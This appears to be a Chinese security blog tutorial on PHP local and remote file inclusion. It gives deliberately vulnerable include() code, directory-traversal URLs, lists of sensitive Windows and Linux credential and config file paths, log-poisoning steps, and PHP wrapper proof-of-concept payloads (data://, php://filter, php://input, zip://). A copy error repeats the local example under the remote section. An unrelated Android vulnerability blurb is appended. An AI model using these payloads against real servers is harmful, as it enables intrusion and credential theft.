常规漏洞-文件包含漏洞总结

文件包含漏洞介绍


1.1. 文件包含漏洞解释


文件包含漏洞就是使用函数去包含任意文件的时候,当包含的文件来源过滤不严谨的时候,当存在包含恶意文件后,就可以通过这个恶意的文件来达到相应的目的。

1.2. 文件包含漏洞原理


其实原理就是由于在代码开发的过程中,有时候会遇到相同的代码,不想重复输入,就将代码单独写在一个文件里面,当遇到的时候就直接调用该文件进行运行,而这种方式就会导致客户端可以调用其他的恶意文件,通过恶意文件造成文件包含漏洞。

但是前提也是当文件包含的代码文件被当作一个变量来使用,并且能够被用户传入参数,如果没有对该变量做相应的安全防护,就可能会引发出文件包含漏洞。

1.3文件包含漏洞特点

无视文件扩展名

在PHP中当使用上面的一些函数的时候,这个文件就会被当作PHP代码进行执行,PHP内核并不会在意包含的文件是什么类型的,也就是说当发过来的是.png的文件也会被当作PHP执行

无条件解析PHP代码

文件包含漏洞在读取源码的时候,若遇到符合PHP语法规范的代码,将会无条件执行。

文件包含漏洞发现

其实在文件包含在URL中能够明显的看出来,但是不代表含有这些特征就一定有文件包含漏洞。只不过有这些特征可以进行判断是存在文件包含的,但是能不能利用是另一方面。

比如:

http://www.xxx.com/index.php/?name=x.php
http://www.xxx.com/index.php/?file=index2

本地文件包含(LFI)

本地文件包含,通过意思就能够理解,就是在条件允许的情况下,所谓的条件允许也就是安全防护没做到位,通过这个条件对文件路径加载文件,就形成了本地文件包含。

注意点


如果文件是php、html,文件内容不会显示在页面,而是执行
——————————————————————————————————————————————————
如果被包含文件需要传递参数:必须使用`&`
#xxx.php?content=demo1.php&y=10
    ——————————————————————————————————————————————————

#本地包含漏洞中,则是先执行本地文件中的代码,然后再将结果传递给应用程序

示例

#测试代码
<?php
	$file=$_GET['filename'];
	include($file);
?>
_________________________________________________________________________________________
#利用
   # 使用绝对路径进行读取  (在linux中同样适用)
    #示例
    127.0.0.1/include.php?filename=C:\Windows\system.ini
        
   # 使用相对路径进行读取(在linux中同样适用)
    #示例
    127.0.0.1/include.php?filename=../../windows/system.ini

远程文件包含(RFI)

远程文件包含漏洞导致的原因和本地文件包含漏洞造成的原因是一样的,只不过远程文件包含漏洞是利用外部的服务器中的文件进行执行,就形成了远程文件包含漏洞。

但是前提是需要在php.ini中的配置选项中allow_url_fopen和allow_url_include为ON

注意点

#被访问的文件,一定是可以通过url获取。
#远程包含如果需要传递参数,必须使用`?`
#如果遇到多个参数:参数与参数之间使用%26
##远程包含漏洞中,攻击者先传递远程文件内容,然后再执行其中的代码

示例

#测试代码
<?php
	$path=$_GET['path'];
	include($path . '/phpinfo.php');
?>

_________________________________________________________________________________________
#利用
   # 使用绝对路径进行读取  (在linux中同样适用)
    #示例
    127.0.0.1/include.php?filename=C:\Windows\system.ini
        
   # 使用相对路径进行读取(在linux中同样适用)
    #示例
    127.0.0.1/include.php?filename=../../windows/system.ini

文件包含利用方式

注意:先要判断服务器类型

配合文件上传漏洞利用

有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析

绝对路径读取

绝对路径是指目录下的绝对位置,直接到达目标位置,通常是从盘符开始的路径,绝对路径读取就是通过明确的路径进行读取文件,比如windows或者linxu中的一些日志文件存在的路径,或者一些配置文件存放的路径。

windows敏感文件绝对路径

c:\boot.ini                     #查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml     #IIS配置文件
c:\windows\repair\sam         #存储Windows的密码
c:\programFiles\mysql\my.ini     #mysql配置文件,里面可能有密码
c:\programFiles\mysql\data\mysql\user.MYD     #mysql root密码
c:\windows\php.ini             #php配置文件

linux敏感文件绝对路径

/etc/passwd                     #用户密码
/usr/local/app/apache2/conf/httpd.conf         #apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf   #虚拟网站设置
/usr/local/app/php5/lib/php.ini       #php相关设置        
/etc/httpd/conf/httpd.conf           #apache配置文件        
/etc/my.cnf                       #mysql配置文件
/etc/sysconfig/iptables             #查看防火墙策略

相对路径读取

相对路径就是指由这个文件所在的路径引起的跟其它文件(或文件夹)的路径关系。相对路径读取就是当我们不知道某个文件具体路径的时候,使用相对路径以当前位置作为参看向后退,逐次访问

方法

相对利用读取方式就需要使用"../"来进行读取,一次"../"向后退一次。

例如:当我们在C:\tool\PHPTutorial\www的时候,那么我们使用"../"的时候我们就退到C:\tool\PHPTutorial,若使用两次"../"的时候就会退到C:\tool,两次"../"也就是"../../"就可以了。

包含日志利用

日志会记录客户端请求及服务器响应的信息,访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent,但是请求的信息有可能被url编码之后记录日志,这里可以通过burp来发送请求包来防止被编码,通过相对路径找到日志文件,利用包含漏洞执行。

各类日志存在位置

Apache

apache存在两个文件日志文件,access.log是记录登录等信息的日志文件,而error.log是错误文件。

Windows系统:
apache安装目录/logs/access.log或者error.log
linux系统:
/var/log/apache/access.log或者error.log
/var/log/apache2/access.log或者error.log
/etc/httpd/logs/access_log或者error.log

Nginx

nginx存在两个文件日志文件,access.log是记录登录等信息的日志文件,而error.log是错误文件。

Windows系统:
nginx安装目录/logs/access.log或者error.log
2)linux系统:
/var/log/nginx/access.log或者error.log

IIS

iis6.0版本
C:\windows\system32\LogFiles
iis7.5版本
%SystemDrive%\inetpub\logs\LogFiles

包含临时文件利用

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用C:\windows\temp目录。在临时文件被删除前,可以利用时间竞争的方式包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的是随机函数有缺陷,而windows下只有65535种不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。

这个方法可以参考LFI With PHPInfo Assistance(https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf

包含SESSION文件

远程文件读取

前提条件:目标服务器的allow_url_fopen选项是on。只有当这个选项是on的时候就能够使用远程文件包含一句话木马。

就是使用远程文件包含的方式构建参数使受害主机访问恶意主机的恶意文件

伪协议利用

PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数

file://   #访问本地文件系统
http://   #访问HTTPs网址
ftp://     #访问ftp URL
php://     #访问输入输出流
zlib://     #压缩流
data://   #数据
ssh2://   #security shell2
expect:// #处理交互式的流
glob://   #查找匹配的文件路径

伪协议利用条件

file利用方式

file:// 用于访问本地文件系统,file其实和绝对路径读取差不多

http利用方式

http这里的利用方式,除了能够跳转,还能进行远程包含进行漏洞执行,就是按照http协议访问恶意网站的恶意文件进行包含漏洞攻击

data利用方式

从php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是php代码,就会执行任意代码。

利用条件:

  • allow_url_fopen :on
  • allow_url_include:on

POC

data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

php利用方式

php:// 访问各个输入/输出流(I/O streams)

php://filter用于读取源码
php://input用于执行php代码

php://filter

读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。也可以进行相对路径的读取

利用条件:

  • allow_url_fopen :off/on
  • allow_url_include:off/on

POC

用法:php://filter/read=convert.base64-encode/resource=要读取的文件
URL:http://192.168.10.150/1.php/?name=php://filter/read=convert.base64-encode/resource=2.php
解密:<?php phpinfo();?>

 

php://input

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

利用条件:

  • allow_url_fopen :off/on
  • allow_url_include:on

通过此方法,可以进行敏感文件的读取和webshell的上传

 

php://input主要是用来执行php代码的,不过php://input需要以POST提交,这里我们先在URL中添加php://input然后抓包把GET修改为POST,最后在数据包的最后输入想要执行的代码就可以实现代码执行。 

ZIP利用方式

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

  • zip://中只能传入绝对路径。
  • 要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
  • 只需要是zip的压缩包即可,后缀名可以任意更改。
  • 相同的类型还有zlib://和bzip2://

利用条件:

  • allow_url_fopen :off/on
  • allow_url_include:off/on

 POC

zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip%23phpinfo.txt

文件包含绕过手法

查看改文章的绕过手法即可,或者其他请自便

https://blog.csdn.net/MachineGunJoe/article/details/131143959

文件包含漏洞防御

查看改文章的防御即可,或者其他请自便

https://blog.csdn.net/MachineGunJoe/article/details/131143959

https://blog.csdn.net/m0_46467017/article/details/126380415

  • 20
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Android常规漏洞分析是一个广泛的话题,因为安卓系统作为目前全球使用最广泛的移动操作系统之一,面临着各种潜在的漏洞威胁。以下是一些常见的Android漏洞类型和分析方法: 1. 权限问题:Android应用程序通常需要访问用户的敏感数据和设备功能。如果应用程序在权限管理方面存在漏洞,攻击者可能会利用此漏洞获取未经授权的访问权限。对于此类漏洞的分析,可以通过查看应用程序的权限请求和相应的权限授予情况来确定是否存在问题。 2. 拒绝服务(DoS)攻击:攻击者可能利用Android系统中的某些漏洞来对设备或应用程序进行拒绝服务攻击,导致设备无法正常工作或应用程序无法响应用户请求。对于这种类型的漏洞分析,可以通过模拟攻击场景并检查应用程序或设备的反应来识别问题。 3. 输入验证和安全性问题:安卓应用程序中常见的漏洞类型包括输入验证错误、缓冲区溢出、跨站点脚本(XSS)等。分析这些漏洞通常需要仔细审查应用程序代码,并进行静态或动态分析来识别潜在的问题。 4. 安全配置问题:在Android应用程序的开发和配置过程中,可能会出现一些安全性配置错误,例如使用弱密码、未正确配置网络通信或未加密敏感数据等。对于这类漏洞的分析,可以通过审查应用程序的配置文件和相应的安全设置来确定是否存在漏洞。 总之,Android常规漏洞分析需要综合使用静态分析、动态分析和代码审计等技术手段,以便识别并修复潜在的安全问题。此外,及时更新和升级设备和应用程序也是减少潜在漏洞风险的重要措施。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值